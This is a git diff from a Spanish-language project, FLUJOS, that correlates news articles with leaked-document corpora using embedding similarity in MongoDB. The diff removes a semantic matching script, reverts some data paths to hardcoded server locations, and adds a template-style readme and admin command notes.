# top-1 leak por noticia (doc-level max) → recolectar (cos, news_i, leak_j)
|
|
||||||
pares = []
|
|
||||||
Ct = np.ascontiguousarray(C.T)
|
|
||||||
for b in range(0, len(Q), 256):
|
|
||||||
S = Q[b:b+256] @ Ct
|
|
||||||
for r in range(S.shape[0]):
|
|
||||||
dm = np.full(nL, -1.0, np.float32)
|
|
||||||
np.maximum.at(dm, idx, S[r])
|
|
||||||
j = int(dm.argmax())
|
|
||||||
pares.append((float(dm[j]), b+r, j))
|
|
||||||
|
|
||||||
# bandas de coseno; muestrear hasta 10 por banda
|
|
||||||
bandas = [(0.40,0.45),(0.45,0.50),(0.50,0.55),(0.55,0.60),(0.60,0.65),(0.65,0.70),(0.70,1.01)]
|
|
||||||
muestras = []
|
|
||||||
for lo, hi in bandas:
|
|
||||||
enb = [p for p in pares if lo <= p[0] < hi]
|
|
||||||
enb.sort(key=lambda x: -x[0])
|
|
||||||
paso = max(1, len(enb)//10)
|
|
||||||
for cos, ni, lj in enb[::paso][:10]:
|
|
||||||
n = news[ni]
|
|
||||||
leak = db.torrents.find_one({"archivo": names[lj]}, {"texto": 1, "archivo": 1, "tema": 1})
|
|
||||||
muestras.append({
|
|
||||||
"banda": f"{lo:.2f}-{hi:.2f}", "cosine": round(cos, 3),
|
|
||||||
"noticia_titulo": (n.get("titulo_original") or "")[:200],
|
|
||||||
"noticia_texto": (n.get("texto") or "")[:600],
|
|
||||||
"leak_archivo": names[lj],
|
|
||||||
"leak_texto": ((leak or {}).get("texto") or "")[:600],
|
|
||||||
})
|
|
||||||
json.dump(muestras, open("/tmp/flujos_pares.json", "w"), ensure_ascii=False, indent=1)
|
|
||||||
print(f"{len(muestras)} pares volcados a /tmp/flujos_pares.json", file=sys.stderr)
|
|
||||||
# resumen por banda
|
|
||||||
from collections import Counter
|
|
||||||
print("por banda:", dict(Counter(m["banda"] for m in muestras)), file=sys.stderr)
|
|
||||||
|
|
@ -1,237 +0,0 @@
|
||||||
#!/usr/bin/env python3
|
|
||||||
"""
|
|
||||||
motor_comparacion.py — motor de correlación semántica
|
|
||||||
=======================================================
|
|
||||||
Reemplaza el solape-de-palabras (pipeline_completo.py) por SIMILITUD SEMÁNTICA
|
|
||||||
sobre embeddings MiniLM ya calculados (ver backfill_embeddings.py).
|
|
||||||
|
|
||||||
Cómo funciona:
|
|
||||||
- QUERY = noticias con `embedding` (coconews/rss; se preservan los existentes).
|
|
||||||
- CORPUS = chunks de leaks/wiki desde `embeddings_chunks` (recall por fragmento).
|
|
||||||
Si no hay chunks para una colección, cae a `embedding` a nivel doc.
|
|
||||||
- Para cada noticia: coseno contra todo el corpus, reducido a nivel-documento
|
|
||||||
por MAX de chunks.
|
|
||||||
- PENALIZACIÓN DE HUB: los documentos "catch-all" (viewer
|
|
||||||
de cablegate, emails genéricos...) caen cerca del centroide y matchean con todo
|
|
||||||
→ el 39% de los falsos positivos. Se mitiga con:
|
|
||||||
· drop duro de hubs extremos (grado > --max-grado-frac · nº_noticias)
|
|
||||||
· ranking por score = cos − λ·ln(1+grado) (los hubs moderados bajan en el top-k)
|
|
||||||
El GATE de creación de arista sigue siendo el coseno crudo (--umbral 0.55,
|
|
||||||
calibrado con panel de jueces), para no descalibrar las aristas legítimas.
|
|
||||||
|
|
||||||
NO DESTRUCTIVO: nunca escribe en `comparaciones`. Salida = colección nueva.
|
|
||||||
|
|
||||||
Calibración (no escribe):
|
|
||||||
/usr/bin/python3 motor_comparacion.py --dry-run
|
|
||||||
Generación real:
|
|
||||||
/usr/bin/python3 motor_comparacion.py --umbral 0.55 --salida comparaciones_v2
|
|
||||||
"""
|
|
||||||
import argparse
|
|
||||||
import logging
|
|
||||||
import math
|
|
||||||
import os
|
|
||||||
import sys
|
|
||||||
import time
|
|
||||||
from collections import Counter, defaultdict
|
|
||||||
|
|
||||||
MONGO_URL = os.getenv("MONGO_URL", "mongodb://localhost:27017")
|
|
||||||
DB_NAME = os.getenv("DB_NAME", "FLUJOS_DATOS")
|
|
||||||
CHUNKS_COL = os.getenv("CHUNKS_COL", "embeddings_chunks")
|
|
||||||
MODEL_NAME = os.getenv("EMBEDDER_MODEL", "paraphrase-multilingual-MiniLM-L12-v2")
|
|
||||||
|
|
||||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [motor] %(message)s")
|
|
||||||
log = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
def conectar():
|
|
||||||
from pymongo import MongoClient
|
|
||||||
from pymongo.errors import ServerSelectionTimeoutError
|
|
||||||
cli = MongoClient(MONGO_URL, serverSelectionTimeoutMS=4000)
|
|
||||||
try:
|
|
||||||
cli.admin.command("ping")
|
|
||||||
except ServerSelectionTimeoutError:
|
|
||||||
log.error("MongoDB no responde en %s — ¿está mongod arriba? Aborto sin tocar nada.", MONGO_URL)
|
|
||||||
sys.exit(2)
|
|
||||||
return cli[DB_NAME]
|
|
||||||
|
|
||||||
|
|
||||||
def cargar_matriz(db, colecciones, query_side=False, limit=0):
|
|
||||||
"""Devuelve (vectores np.float32 [N,384] L2-normalizados, archivos[N])."""
|
|
||||||
import numpy as np
|
|
||||||
vecs, archivos = [], []
|
|
||||||
if query_side:
|
|
||||||
cur = db.noticias.find(
|
|
||||||
{"embedding": {"$exists": True}, "apto_embedding": {"$ne": False}},
|
|
||||||
{"archivo": 1, "embedding": 1})
|
|
||||||
if limit:
|
|
||||||
cur = cur.limit(limit)
|
|
||||||
for d in cur:
|
|
||||||
e = d.get("embedding")
|
|
||||||
if e and d.get("archivo"):
|
|
||||||
vecs.append(e); archivos.append(d["archivo"].strip())
|
|
||||||
else:
|
|
||||||
ch = db[CHUNKS_COL]
|
|
||||||
for d in ch.find({"coleccion": {"$in": colecciones}}, {"archivo": 1, "embedding": 1}):
|
|
||||||
e = d.get("embedding")
|
|
||||||
if e and d.get("archivo"):
|
|
||||||
vecs.append(e); archivos.append(d["archivo"].strip())
|
|
||||||
if not vecs: # fallback: sin chunks → embedding a nivel doc
|
|
||||||
log.warning("Sin chunks en '%s' para %s; usando embedding a nivel documento.",
|
|
||||||
CHUNKS_COL, colecciones)
|
|
||||||
for c in colecciones:
|
|
||||||
for d in db[c].find({"embedding": {"$exists": True}, "apto_embedding": {"$ne": False}},
|
|
||||||
{"archivo": 1, "embedding": 1}):
|
|
||||||
e = d.get("embedding")
|
|
||||||
if e and d.get("archivo"):
|
|
||||||
vecs.append(e); archivos.append(d["archivo"].strip())
|
|
||||||
if not vecs:
|
|
||||||
return np.zeros((0, 384), dtype=np.float32), []
|
|
||||||
M = np.asarray(vecs, dtype=np.float32)
|
|
||||||
norms = np.linalg.norm(M, axis=1, keepdims=True)
|
|
||||||
norms[norms == 0] = 1.0
|
|
||||||
return M / norms, archivos
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
|
||||||
ap = argparse.ArgumentParser(description="Motor de comparación semántica (embeddings + anti-hub)")
|
|
||||||
ap.add_argument("--query", default="noticias")
|
|
||||||
ap.add_argument("--corpus", default="torrents",
|
|
||||||
help="colecciones corpus separadas por coma, p.ej. torrents,wikipedia")
|
|
||||||
ap.add_argument("--topk", type=int, default=15, help="leaks por noticia (el front capa a 8)")
|
|
||||||
ap.add_argument("--umbral", type=float, default=0.52,
|
|
||||||
help="GATE principal: score penalizado mínimo (score = cos − λ·ln(1+grado))")
|
|
||||||
ap.add_argument("--min-cos", type=float, default=0.50, dest="min_cos",
|
|
||||||
help="suelo duro de coseno crudo (descarta la banda tóxica 0.45-0.50)")
|
|
||||||
ap.add_argument("--prefiltro", type=float, default=0.50,
|
|
||||||
help="coseno mínimo para contar como candidato y computar el grado de hub")
|
|
||||||
ap.add_argument("--lambda-hub", type=float, default=0.02, dest="lambda_hub",
|
|
||||||
help="penalización de hub: score = cos − λ·ln(1+grado)")
|
|
||||||
ap.add_argument("--max-grado-frac", type=float, default=0.10, dest="max_grado_frac",
|
|
||||||
help="drop duro de seguridad: descartar leaks que tocan > esta fracción de noticias")
|
|
||||||
ap.add_argument("--marca-evento", type=float, default=0.68, dest="marca_evento",
|
|
||||||
help="coseno a partir del cual se marca posible_evento=true")
|
|
||||||
ap.add_argument("--salida", default="comparaciones_v2")
|
|
||||||
ap.add_argument("--limit-query", type=int, default=0)
|
|
||||||
ap.add_argument("--block", type=int, default=256)
|
|
||||||
ap.add_argument("--dry-run", action="store_true", help="histograma + hubs, NO escribe")
|
|
||||||
args = ap.parse_args()
|
|
||||||
corpus = [c.strip() for c in args.corpus.split(",") if c.strip()]
|
|
||||||
|
|
||||||
if args.salida == "comparaciones":
|
|
||||||
log.error("Negado: --salida no puede ser 'comparaciones' (se preserva intacta). Usa comparaciones_v2.")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
import numpy as np
|
|
||||||
db = conectar()
|
|
||||||
|
|
||||||
log.info("Cargando QUERY (%s)…", args.query)
|
|
||||||
Q, q_arch = cargar_matriz(db, [args.query], query_side=True, limit=args.limit_query)
|
|
||||||
log.info("Cargando CORPUS (%s)…", corpus)
|
|
||||||
C, c_arch = cargar_matriz(db, corpus, query_side=False)
|
|
||||||
log.info("QUERY=%d vectores · CORPUS=%d vectores (dim=%d)", len(Q), len(C), Q.shape[1] if len(Q) else 0)
|
|
||||||
if len(Q) == 0 or len(C) == 0:
|
|
||||||
log.error("Faltan embeddings. Corre antes backfill_embeddings.py. Aborto.")
|
|
||||||
sys.exit(3)
|
|
||||||
|
|
||||||
# chunk → documento-leak
|
|
||||||
uniq, leak_names = {}, []
|
|
||||||
c_leak_idx = np.empty(len(c_arch), dtype=np.int64)
|
|
||||||
for i, a in enumerate(c_arch):
|
|
||||||
j = uniq.get(a)
|
|
||||||
if j is None:
|
|
||||||
j = len(leak_names); uniq[a] = j; leak_names.append(a)
|
|
||||||
c_leak_idx[i] = j
|
|
||||||
n_leaks, n_news = len(leak_names), len(Q)
|
|
||||||
log.info("Corpus colapsa a %d documentos-leak distintos.", n_leaks)
|
|
||||||
|
|
||||||
Ct = np.ascontiguousarray(C.T)
|
|
||||||
t0 = time.time()
|
|
||||||
|
|
||||||
# ---- PASE 1: candidatos (noticia, leak, coseno) ≥ prefiltro ----
|
|
||||||
cand_news, cand_leak, cand_cos = [], [], []
|
|
||||||
for b in range(0, n_news, args.block):
|
|
||||||
scores = Q[b:b + args.block] @ Ct
|
|
||||||
for r in range(scores.shape[0]):
|
|
||||||
doc_max = np.full(n_leaks, -1.0, dtype=np.float32)
|
|
||||||
np.maximum.at(doc_max, c_leak_idx, scores[r]) # reducción chunk→doc por MAX
|
|
||||||
for j in np.where(doc_max >= args.prefiltro)[0]:
|
|
||||||
cand_news.append(b + r); cand_leak.append(int(j)); cand_cos.append(float(doc_max[j]))
|
|
||||||
if (b // args.block) % 20 == 0:
|
|
||||||
log.info("… pase1 %d/%d noticias (%d candidatos) — %.0fs",
|
|
||||||
min(b + args.block, n_news), n_news, len(cand_cos), time.time() - t0)
|
|
||||||
log.info("Pase 1: %d candidatos ≥ %.2f.", len(cand_cos), args.prefiltro)
|
|
||||||
|
|
||||||
# ---- grado de hub de cada leak ----
|
|
||||||
grado = Counter(cand_leak)
|
|
||||||
max_grado = args.max_grado_frac * n_news
|
|
||||||
hubs_duros = {j for j, g in grado.items() if g > max_grado}
|
|
||||||
if hubs_duros:
|
|
||||||
ej = ", ".join(leak_names[j][:45] for j in sorted(hubs_duros, key=lambda j: -grado[j])[:3])
|
|
||||||
log.info("Hubs duros descartados (grado > %.0f = %.0f%% noticias): %d leaks. Top: %s",
|
|
||||||
max_grado, args.max_grado_frac * 100, len(hubs_duros), ej)
|
|
||||||
|
|
||||||
# ---- PASE 2: ranking penalizado por noticia, GATE por coseno crudo ----
|
|
||||||
por_news = defaultdict(list) # ni -> [(score_pen, lj, cos)]
|
|
||||||
for ni, lj, cos in zip(cand_news, cand_leak, cand_cos):
|
|
||||||
if lj in hubs_duros:
|
|
||||||
continue
|
|
||||||
score = cos - args.lambda_hub * math.log1p(grado[lj])
|
|
||||||
por_news[ni].append((score, lj, cos))
|
|
||||||
|
|
||||||
edges, todos_cos, todos_score = [], [], []
|
|
||||||
for ni, lst in por_news.items():
|
|
||||||
lst.sort(reverse=True) # ranking por score penalizado
|
|
||||||
for score, lj, cos in lst[:args.topk]:
|
|
||||||
todos_cos.append(cos); todos_score.append(score)
|
|
||||||
if score >= args.umbral and cos >= args.min_cos: # gate hub-aware + suelo de coseno
|
|
||||||
edges.append((q_arch[ni], leak_names[lj], score, cos, grado[lj]))
|
|
||||||
log.info("Generadas %d aristas (gate score≥%.2f, cos≥%.2f, λ_hub=%.3f) en %.0fs.",
|
|
||||||
len(edges), args.umbral, args.min_cos, args.lambda_hub, time.time() - t0)
|
|
||||||
|
|
||||||
if args.dry_run:
|
|
||||||
cos = np.asarray(todos_cos) if todos_cos else np.zeros(0)
|
|
||||||
sco = np.asarray(todos_score) if todos_score else np.zeros(0)
|
|
||||||
log.info("=== DRY-RUN (top-%d/noticia, %d valores) ===", args.topk, len(cos))
|
|
||||||
log.info(" -- coseno crudo --")
|
|
||||||
for lo in [0.50, 0.55, 0.60, 0.65, 0.68, 0.70]:
|
|
||||||
log.info(" cos ≥ %.2f : %d", lo, int((cos >= lo).sum()) if len(cos) else 0)
|
|
||||||
log.info(" -- score penalizado (gate real) --")
|
|
||||||
for lo in [0.50, 0.52, 0.55, 0.60, 0.65]:
|
|
||||||
log.info(" score ≥ %.2f : %d", lo, int((sco >= lo).sum()) if len(sco) else 0)
|
|
||||||
if len(cos):
|
|
||||||
log.info(" cos p50=%.3f p90=%.3f | score p50=%.3f p90=%.3f",
|
|
||||||
float(np.percentile(cos, 50)), float(np.percentile(cos, 90)),
|
|
||||||
float(np.percentile(sco, 50)), float(np.percentile(sco, 90)))
|
|
||||||
top_hubs = sorted(grado.items(), key=lambda kv: -kv[1])[:10]
|
|
||||||
log.info(" leaks-hub por grado (sobre %d noticias):", n_news)
|
|
||||||
for j, g in top_hubs:
|
|
||||||
log.info(" grado=%-5d %s", g, leak_names[j][:70])
|
|
||||||
log.info("No se escribió nada (--dry-run). Elige --umbral/--max-grado-frac y relanza sin --dry-run.")
|
|
||||||
return
|
|
||||||
|
|
||||||
# ---- escritura NO destructiva ----
|
|
||||||
from pymongo import UpdateOne
|
|
||||||
out = db[args.salida]
|
|
||||||
ops = []
|
|
||||||
for a, bk, score, cos, g in edges:
|
|
||||||
n1, n2 = sorted((a, bk)) # orden canónico min/max
|
|
||||||
ops.append(UpdateOne(
|
|
||||||
{"noticia1": n1, "noticia2": n2},
|
|
||||||
{"$set": {"noticia1": n1, "noticia2": n2,
|
|
||||||
"porcentaje_similitud": round(score * 100, 2), # ranking de-hubbeado para el front
|
|
||||||
"cosine": round(cos, 4), "score": round(score, 4),
|
|
||||||
"grado_leak": g, "posible_evento": bool(cos >= args.marca_evento),
|
|
||||||
"metodo": "embedding", "modelo": MODEL_NAME}},
|
|
||||||
upsert=True))
|
|
||||||
for i in range(0, len(ops), 2000):
|
|
||||||
out.bulk_write(ops[i:i + 2000], ordered=False)
|
|
||||||
out.create_index([("noticia1", 1), ("noticia2", 1)], unique=True, name="par_unico")
|
|
||||||
out.create_index([("porcentaje_similitud", -1)], name="sim_desc")
|
|
||||||
n_ev = sum(1 for e in edges if e[3] >= args.marca_evento)
|
|
||||||
log.info("✅ Escritas %d aristas en '%s' (%d marcadas posible_evento ≥%.2f). 'comparaciones' intacta.",
|
|
||||||
len(ops), args.salida, n_ev, args.marca_evento)
|
|
||||||
log.info("Activar en front: COMPARACIONES_COL=%s + repuntar la línea de FLUJOS_APP.js.", args.salida)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
|
|
@ -12,12 +12,6 @@ import string
|
||||||
import nltk
|
import nltk
|
||||||
from nltk.corpus import stopwords
|
from nltk.corpus import stopwords
|
||||||
|
|
||||||
# Raiz de FLUJOS_DATOS. Por defecto se deduce de la ubicacion de este fichero,
|
|
||||||
# asi el repo funciona en cualquier maquina sin editar nada.
|
|
||||||
DATOS_DIR = os.getenv('FLUJOS_DATOS_DIR',
|
|
||||||
os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
|
|
||||||
|
|
||||||
|
|
||||||
# Descargar stopwords la primera vez
|
# Descargar stopwords la primera vez
|
||||||
nltk.download('stopwords')
|
nltk.download('stopwords')
|
||||||
stop_words = set(stopwords.words('spanish'))
|
stop_words = set(stopwords.words('spanish'))
|
||||||
|
|
@ -126,11 +120,7 @@ def manejar_comparacion_multiproceso(pair):
|
||||||
'porcentaje_similitud': porcentaje
|
'porcentaje_similitud': porcentaje
|
||||||
}
|
}
|
||||||
|
|
||||||
comparaciones_collection.update_one(
|
comparaciones_collection.insert_one(comparacion)
|
||||||
{"noticia1": nombre_archivo1, "noticia2": nombre_archivo2},
|
|
||||||
{"$set": comparacion},
|
|
||||||
upsert=True,
|
|
||||||
)
|
|
||||||
logging.info(f"Guardada comparación entre {nombre_archivo1} y {nombre_archivo2} con {porcentaje:.2f}% de similitud.")
|
logging.info(f"Guardada comparación entre {nombre_archivo1} y {nombre_archivo2} con {porcentaje:.2f}% de similitud.")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logging.error(f"Error al manejar comparación {archivo1} vs {archivo2}: {e}", exc_info=True)
|
logging.error(f"Error al manejar comparación {archivo1} vs {archivo2}: {e}", exc_info=True)
|
||||||
|
|
@ -220,34 +210,25 @@ def manejar_comparaciones_multiproceso(directorios_tokenized):
|
||||||
logging.error(f"Error en manejar_comparaciones_multiproceso: {e}", exc_info=True)
|
logging.error(f"Error en manejar_comparaciones_multiproceso: {e}", exc_info=True)
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
import argparse
|
|
||||||
parser = argparse.ArgumentParser()
|
|
||||||
parser.add_argument("--desde", default=None,
|
|
||||||
help="Solo comparar archivos con fecha >= YYYY-MM-DD")
|
|
||||||
args, _ = parser.parse_known_args()
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Rutas absolutas de los archivos en formato txt
|
# Rutas absolutas de los archivos en formato txt
|
||||||
carpeta_noticias_txt = os.path.join(DATOS_DIR, 'NOTICIAS', 'articulos')
|
carpeta_noticias_txt = '/var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/articulos'
|
||||||
carpeta_wikipedia_txt = os.path.join(DATOS_DIR, 'WIKIPEDIA', 'articulos_wikipedia')
|
carpeta_wikipedia_txt = '/var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia'
|
||||||
carpeta_torrents_txt = os.path.join(DATOS_DIR, 'TORRENTS', 'TORRENTS_WIKILEAKS_COMPLETO', 'txt')
|
carpeta_torrents_txt = '/var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/txt'
|
||||||
|
|
||||||
# Carpetas con los archivos tokenizados para hacer las comparaciones
|
# Carpetas con los archivos tokenizados para hacer las comparaciones
|
||||||
carpeta_noticias_tokenized = os.path.join(DATOS_DIR, 'NOTICIAS', 'tokenized')
|
carpeta_noticias_tokenized = '/var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/tokenized'
|
||||||
carpeta_wikipedia_tokenized = os.path.join(DATOS_DIR, 'WIKIPEDIA', 'articulos_tokenizados')
|
carpeta_wikipedia_tokenized = '/var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados'
|
||||||
carpeta_torrents_tokenized = os.path.join(DATOS_DIR, 'TORRENTS', 'TORRENTS_WIKILEAKS_COMPLETO', 'tokenized')
|
carpeta_torrents_tokenized = '/var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/tokenized'
|
||||||
|
|
||||||
# Iniciar cliente MongoDB
|
# Iniciar cliente MongoDB
|
||||||
client = init_mongo_client()
|
client = init_mongo_client()
|
||||||
|
|
||||||
# [DESACTIVADO 2026-06-06] Dual-write legacy de noticias a Mongo.
|
# Omitir la subida de documentos
|
||||||
# Escribía docs incompatibles (sin source_type/embedding) en la colección
|
print("Subiendo archivos originales de Noticias a MongoDB...")
|
||||||
# canónica 'noticias', desincronizándola de coconews. Backup de los 41.467
|
logging.info("Iniciando subida de noticias a MongoDB")
|
||||||
# docs legacy ya existentes en colección 'noticias_legacy_backup'.
|
procesar_documentos(carpeta_noticias_txt, client['FLUJOS_DATOS']['noticias'])
|
||||||
# El sistema canónico de noticias es ahora coconews (source_type:'rss').
|
logging.info("Finalizada subida de noticias a MongoDB")
|
||||||
# logging.info("Iniciando subida de noticias a MongoDB")
|
|
||||||
# procesar_documentos(carpeta_noticias_txt, client['FLUJOS_DATOS']['noticias'])
|
|
||||||
# logging.info("Finalizada subida de noticias a MongoDB")
|
|
||||||
|
|
||||||
# print("Subiendo archivos originales de Wikipedia a MongoDB...")
|
# print("Subiendo archivos originales de Wikipedia a MongoDB...")
|
||||||
logging.info("Iniciando subida de Wikipedia a MongoDB")
|
logging.info("Iniciando subida de Wikipedia a MongoDB")
|
||||||
|
|
|
||||||
|
|
@ -11,12 +11,6 @@ import string
|
||||||
import nltk
|
import nltk
|
||||||
from nltk.corpus import stopwords
|
from nltk.corpus import stopwords
|
||||||
|
|
||||||
# Raiz de FLUJOS_DATOS. Por defecto se deduce de la ubicacion de este fichero,
|
|
||||||
# asi el repo funciona en cualquier maquina sin editar nada.
|
|
||||||
DATOS_DIR = os.getenv('FLUJOS_DATOS_DIR',
|
|
||||||
os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
|
|
||||||
|
|
||||||
|
|
||||||
# Descargar stopwords la primera vez
|
# Descargar stopwords la primera vez
|
||||||
nltk.download('stopwords')
|
nltk.download('stopwords')
|
||||||
stop_words = set(stopwords.words('spanish'))
|
stop_words = set(stopwords.words('spanish'))
|
||||||
|
|
@ -232,14 +226,14 @@ def manejar_comparaciones_multiproceso(directorios_tokenized):
|
||||||
def main():
|
def main():
|
||||||
try:
|
try:
|
||||||
# Rutas absolutas de los archivos en formato txt
|
# Rutas absolutas de los archivos en formato txt
|
||||||
carpeta_noticias_txt = os.path.join(DATOS_DIR, 'NOTICIAS', 'articulos')
|
carpeta_noticias_txt = '/var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/articulos'
|
||||||
carpeta_wikipedia_txt = os.path.join(DATOS_DIR, 'WIKIPEDIA', 'articulos_wikipedia')
|
carpeta_wikipedia_txt = '/var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia'
|
||||||
carpeta_torrents_txt = os.path.join(DATOS_DIR, 'TORRENTS', 'TORRENTS_WIKILEAKS_COMPLETO', 'txt')
|
carpeta_torrents_txt = '/var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/txt'
|
||||||
|
|
||||||
# Carpetas con los archivos tokenizados para hacer las comparaciones
|
# Carpetas con los archivos tokenizados para hacer las comparaciones
|
||||||
carpeta_noticias_tokenized = os.path.join(DATOS_DIR, 'NOTICIAS', 'tokenized')
|
carpeta_noticias_tokenized = '/var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/tokenized'
|
||||||
carpeta_wikipedia_tokenized = os.path.join(DATOS_DIR, 'WIKIPEDIA', 'articulos_tokenizados')
|
carpeta_wikipedia_tokenized = '/var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados'
|
||||||
carpeta_torrents_tokenized = os.path.join(DATOS_DIR, 'TORRENTS', 'TORRENTS_WIKILEAKS_COMPLETO', 'tokenized')
|
carpeta_torrents_tokenized = '/var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/tokenized'
|
||||||
|
|
||||||
# Iniciar cliente MongoDB
|
# Iniciar cliente MongoDB
|
||||||
client = init_mongo_client()
|
client = init_mongo_client()
|
||||||
|
|
|
||||||
112
FLUJOS_DATOS/DOCS/LEEME.txt
Executable file
|
|
@ -0,0 +1,112 @@
|
||||||
|
=============================================================================
|
||||||
|
DOCUMENTACIÓN DEL PROYECTO FLUJOS
|
||||||
|
=============================================================================
|
||||||
|
|
||||||
|
INTRODUCCIÓN:
|
||||||
|
-------------
|
||||||
|
El proyecto FLUJOS es una aplicación web diseñada para unir noticias y eventos del pasado para entender la historia como una sucesion de eventos .
|
||||||
|
Combatir la desinformacion es el principal objetivo del proeycto .
|
||||||
|
|
||||||
|
ESTRUCTURA DEL PROYECTO:
|
||||||
|
-------------------------
|
||||||
|
El proyecto FLUJOS está organizado de la siguiente manera:
|
||||||
|
|
||||||
|
- /flujos: Carpeta principal del proyecto.
|
||||||
|
- /BACK: Contiene los archivos y scripts relacionados con la parte del servidor y la base de datos.
|
||||||
|
- /FRONT: Contiene los archivos de la aplicación web del lado del cliente.
|
||||||
|
- /TENSOR_FLOW: Carpeta que alberga los componentes relacionados con TensorFlow y la inteligencia artificial.
|
||||||
|
- /DOCUMENTACIÓN: Documentación técnica y de usuario.
|
||||||
|
|
||||||
|
INSTALACIÓN:
|
||||||
|
------------
|
||||||
|
Para configurar y ejecutar el proyecto FLUJOS, sigue estos pasos:
|
||||||
|
|
||||||
|
1. Clona el repositorio desde GitLab:
|
||||||
|
|
||||||
|
git clone https://gitlab.com/tu-usuario/flujos.git
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
2. Crea y activa un entorno virtual:
|
||||||
|
|
||||||
|
python3 -m venv env
|
||||||
|
source env/bin/activate
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
3. Instala las dependencias:
|
||||||
|
|
||||||
|
pip install -r requirements.txt
|
||||||
|
|
||||||
|
|
||||||
|
4. Configura la base de datos y realiza las migraciones:
|
||||||
|
|
||||||
|
python manage.py migrate
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
5. Crea un superusuario para administrar la aplicación:
|
||||||
|
|
||||||
|
python manage.py createsuperuser
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
EJECUCIÓN:
|
||||||
|
----------
|
||||||
|
Para ejecutar el proyecto FLUJOS en un entorno de desarrollo local, utiliza el siguiente comando:
|
||||||
|
|
||||||
|
python manage.py runserver
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
El proyecto estará disponible en http://localhost:8000/.
|
||||||
|
|
||||||
|
ESTRUCTURA DEL PROYECTO (DETALLES):
|
||||||
|
-------------------------------------
|
||||||
|
- /BACK: Esta carpeta contiene la lógica del servidor Django y se encarga de la autenticación de usuarios y la gestión de la base de datos.
|
||||||
|
|
||||||
|
- /FRONT: Aquí se encuentran los archivos estáticos y la interfaz de usuario de la aplicación web.
|
||||||
|
|
||||||
|
- /TENSOR_FLOW: Carpeta dedicada a las implementaciones de TensorFlow y el procesamiento de datos relacionado con la inteligencia artificial.
|
||||||
|
|
||||||
|
AUTENTICACIÓN DE USUARIOS:
|
||||||
|
--------------------------
|
||||||
|
El sistema de autenticación de usuarios permite a los usuarios registrarse, iniciar sesión y gestionar sus cuentas de usuario. Los datos se almacenan en una base de datos Elasticsearch.
|
||||||
|
|
||||||
|
ENVÍO DE CORREOS ELECTRÓNICOS:
|
||||||
|
-------------------------------
|
||||||
|
El proyecto FLUJOS incluye un sistema de envío de correos electrónicos para funciones como verificación de correo electrónico y recuperación de contraseñas.
|
||||||
|
|
||||||
|
SEGURIDAD Y PRIVACIDAD:
|
||||||
|
-----------------------
|
||||||
|
El proyecto FLUJOS se preocupa por la seguridad y privacidad de los usuarios y emplea medidas de seguridad estándar.
|
||||||
|
|
||||||
|
IMPLEMENTACIÓN DE PGP:
|
||||||
|
----------------------
|
||||||
|
El proyecto utiliza PGP para garantizar la seguridad de las comunicaciones entre periodistas y la aplicación web.
|
||||||
|
|
||||||
|
PRUEBAS:
|
||||||
|
--------
|
||||||
|
Para ejecutar las pruebas unitarias y de integración, utiliza el siguiente comando:
|
||||||
|
|
||||||
|
python manage.py test
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
DESPLEGUE:
|
||||||
|
----------
|
||||||
|
El despliegue del proyecto FLUJOS en un entorno de producción requiere [Instrucciones y mejores prácticas para desplegar el proyecto en un entorno de producción real].
|
||||||
|
|
||||||
|
CONTRIBUCIONES:
|
||||||
|
---------------
|
||||||
|
¡Agradecemos las contribuciones! Si deseas contribuir al proyecto, sigue las pautas en [Enlace a las pautas de contribución en GitLab].
|
||||||
|
|
||||||
|
CONTACTO:
|
||||||
|
---------
|
||||||
|
Para obtener ayuda o más información, comunícate con [Información de contacto].
|
||||||
|
|
||||||
|
LICENCIA:
|
||||||
|
---------
|
||||||
|
Este proyecto se distribuye bajo la licencia [Nombre de la licencia]. Consulta el archivo LICENSE para más detalles.
|
||||||
|
|
||||||
|
=============================================================================
|
||||||
|
|
@ -92,7 +92,7 @@
|
||||||
|
|
||||||
--- Ver variable de entorno y configuración MongoDB ---
|
--- Ver variable de entorno y configuración MongoDB ---
|
||||||
|
|
||||||
cat $FLUJOS/.env
|
cat /var/www/theflows.net/flujos/.env
|
||||||
|
|
||||||
|
|
||||||
--- Listar colecciones en MongoDB ---
|
--- Listar colecciones en MongoDB ---
|
||||||
|
|
@ -129,33 +129,33 @@
|
||||||
--- Contar archivos en disco por sección ---
|
--- Contar archivos en disco por sección ---
|
||||||
|
|
||||||
# NOTICIAS artículos
|
# NOTICIAS artículos
|
||||||
find $FLUJOS/FLUJOS_DATOS/NOTICIAS/articulos/ -type f | wc -l
|
find /var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/articulos/ -type f | wc -l
|
||||||
|
|
||||||
# NOTICIAS archivos raw
|
